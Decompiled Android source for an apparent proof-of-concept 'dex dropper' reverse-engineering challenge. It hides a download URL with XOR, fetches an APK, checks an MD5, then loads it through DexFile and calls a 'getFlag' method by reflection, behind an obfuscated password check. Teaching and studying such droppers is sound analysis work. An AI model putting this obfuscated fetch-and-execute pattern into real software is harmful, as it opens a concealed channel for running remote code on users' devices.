// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3) 
// Source File Name:   DropActivity.java

package org.dexlabs.poc.dexdropper;

import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.os.StrictMode;
import android.view.*;
import android.widget.Button;
import android.widget.TextView;
import dalvik.system.DexFile;
import java.io.*;
import java.lang.reflect.*;
import java.math.BigInteger;
import java.net.MalformedURLException;
import java.net.URL;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public class DropActivity extends Activity
{

    public DropActivity()
    {
        byte abyte0[] = new byte[5];
        abyte0[0] = 115;
        abyte0[1] = 106;
        abyte0[2] = 98;
        abyte0[3] = 100;
        abyte0[4] = 119;
        exi1E6B = abyte0;
    }

    private String download()
        throws MalformedURLException, IOException
    {
        byte abyte0[];
        byte abyte1[];
        int i;
        abyte0 = new byte[27];
        abyte0[0] = 75;
        abyte0[1] = 87;
        abyte0[2] = 87;
        abyte0[3] = 83;
        abyte0[4] = 25;
        abyte0[5] = 12;
        abyte0[6] = 12;
        abyte0[7] = 84;
        abyte0[8] = 84;
        abyte0[9] = 84;
        abyte0[10] = 13;
        abyte0[11] = 71;
        abyte0[12] = 70;
        abyte0[13] = 91;
        abyte0[14] = 79;
        abyte0[15] = 66;
        abyte0[16] = 65;
        abyte0[17] = 80;
        abyte0[18] = 13;
        abyte0[19] = 76;
        abyte0[20] = 81;
        abyte0[21] = 68;
        abyte0[22] = 12;
        abyte0[23] = 83;
        abyte0[24] = 76;
        abyte0[25] = 64;
        abyte0[26] = 12;
        if(android.os.Build.VERSION.SDK_INT > 9)
            StrictMode.setThreadPolicy((new android.os.StrictMode.ThreadPolicy.Builder()).permitAll().build());
        abyte1 = new byte[abyte0.length];
        i = 0;
_L3:
        if(i < abyte0.length) goto _L2; else goto _L1
_L1:
        InputStream inputstream;
        FileOutputStream fileoutputstream;
        byte abyte2[];
        inputstream = (new URL((new StringBuilder(String.valueOf(new String(abyte1)))).append("payload.apk").toString())).openStream();
        fileoutputstream = getApplicationContext().openFileOutput("payload.apk", 0);
        abyte2 = new byte[2048];
_L4:
        int j;
        j = inputstream.read(abyte2);
        if(j <= 0)
        {
            fileoutputstream.close();
            return (new StringBuilder()).append(getApplicationContext().getFilesDir()).append("/").append("payload.apk").toString();
        }
        break MISSING_BLOCK_LABEL_321;
_L2:
        abyte1[i] = (byte)(0x23 ^ abyte0[i]);
        i++;
          goto _L3
        byte abyte3[] = new byte[j];
        System.arraycopy(abyte2, 0, abyte3, 0, j);
        fileoutputstream.write(abyte3);
          goto _L4
    }

    private String exec(String s)
    {
        String s1;
        try
        {
            Class class1 = DexFile.loadDex(s, (new StringBuilder()).append(getApplicationContext().getFilesDir()).append("/temp").toString(), 0).loadClass("bad", getClassLoader());
            Constructor constructor = class1.getConstructor(new Class[0]);
            s1 = (String)class1.getMethod("getFlag", new Class[0]).invoke(constructor.newInstance(new Object[0]), new Object[0]);
        }
        catch(IllegalArgumentException illegalargumentexception)
        {
            s1 = "ERROR";
        }
        catch(IllegalAccessException illegalaccessexception)
        {
            s1 = "ERROR";
        }
        catch(InvocationTargetException invocationtargetexception)
        {
            s1 = "ERROR";
        }
        catch(InstantiationException instantiationexception)
        {
            s1 = "ERROR";
        }
        catch(NoSuchMethodException nosuchmethodexception)
        {
            s1 = "ERROR";
        }
        catch(IOException ioexception)
        {
            s1 = "ERROR";
        }
        return s1;
    }

    private String genchecksum(String s)
    {
        String s1;
        try
        {
            MessageDigest messagedigest = MessageDigest.getInstance("MD5");
            FileInputStream fileinputstream = new FileInputStream(new File(s));
            byte abyte0[] = new byte[8192];
            do
            {
                int i = fileinputstream.read(abyte0);
                if(i <= 0)
                {
                    BigInteger biginteger = new BigInteger(1, messagedigest.digest());
                    fileinputstream.close();
                    s1 = biginteger.toString(16);
                    break;
                }
                messagedigest.update(abyte0, 0, i);
            } while(true);
        }
        catch(NoSuchAlgorithmException nosuchalgorithmexception)
        {
            s1 = "";
        }
        catch(FileNotFoundException filenotfoundexception)
        {
            s1 = "";
        }
        catch(IOException ioexception)
        {
            s1 = "";
        }
        return s1;
    }

    public void down_exec(View view)
    {
        TextView textview = (TextView)findViewById(0x7f080003);
        TextView textview1 = (TextView)findViewById(0x7f080001);
        textview1.setText("...running");
        try
        {
            String s = download();
            if(genchecksum(s).equalsIgnoreCase(textview.getText().toString()))
                textview1.setText(exec(s));
            else
                textview1.setText("Download or Checksum failed");
        }
        catch(MalformedURLException malformedurlexception)
        {
            textview1.setText("Download or Checksum failed");
        }
        catch(IOException ioexception)
        {
            textview1.setText("Download or Checksum failed");
        }
    }

    public void onCreate(Bundle bundle)
    {
        super.onCreate(bundle);
        int i = 0;
        do
        {
            if(i >= exi1E6B.length)
            {
                setContentView(0x7f030000);
                return;
            }
            exi1E6B[i] = (byte)(exi1E6B[i] ^ exi1E6B.length);
            i++;
        } while(true);
    }

    public boolean onCreateOptionsMenu(Menu menu)
    {
        getMenuInflater().inflate(0x7f070000, menu);
        return true;
    }

    public void test(View view)
    {
        TextView textview = (TextView)findViewById(0x7f080000);
        TextView _tmp = (TextView)findViewById(0x7f080001);
        Button button = (Button)findViewById(0x7f080005);
        byte abyte0[] = new byte[50];
        abyte0[0] = 104;
        abyte0[1] = 28;
        abyte0[2] = 104;
        abyte0[3] = 24;
        abyte0[4] = 34;
        abyte0[5] = 13;
        abyte0[6] = 34;
        abyte0[7] = 85;
        abyte0[8] = 34;
        abyte0[9] = 85;
        abyte0[10] = 123;
        abyte0[11] = 31;
        abyte0[12] = 122;
        abyte0[13] = 2;
        abyte0[14] = 110;
        abyte0[15] = 15;
        abyte0[16] = 109;
        abyte0[17] = 30;
        abyte0[18] = 48;
        abyte0[19] = 95;
        abyte0[20] = 45;
        abyte0[21] = 74;
        abyte0[22] = 101;
        abyte0[23] = 21;
        abyte0[24] = 122;
        abyte0[25] = 25;
        abyte0[26] = 54;
        abyte0[27] = 80;
        abyte0[28] = 60;
        abyte0[29] = 93;
        abyte0[30] = 58;
        abyte0[31] = 101;
        abyte0[32] = 1;
        abyte0[33] = 100;
        abyte0[34] = 28;
        abyte0[35] = 112;
        abyte0[36] = 31;
        abyte0[37] = 126;
        abyte0[38] = 26;
        abyte0[39] = 127;
        abyte0[40] = 13;
        abyte0[41] = 98;
        abyte0[43] = 102;
        abyte0[44] = 57;
        abyte0[45] = 9;
        abyte0[46] = 62;
        abyte0[47] = 12;
        abyte0[48] = 60;
        abyte0[49] = 13;
        byte abyte1[] = new byte[abyte0.length];
        byte byte0 = 0;
        int i = 0;
        do
        {
            if(i >= abyte0.length)
            {
                if(textview.getText().toString().equals(new String(exi1E6B)))
                {
                    button.setAlpha(1F);
                    button.setClickable(true);
                }
                return;
            }
            abyte1[i] = (byte)(byte0 ^ abyte0[i]);
            byte0 = abyte0[i];
            i++;
        } while(true);
    }

    private byte exi1E6B[];
}
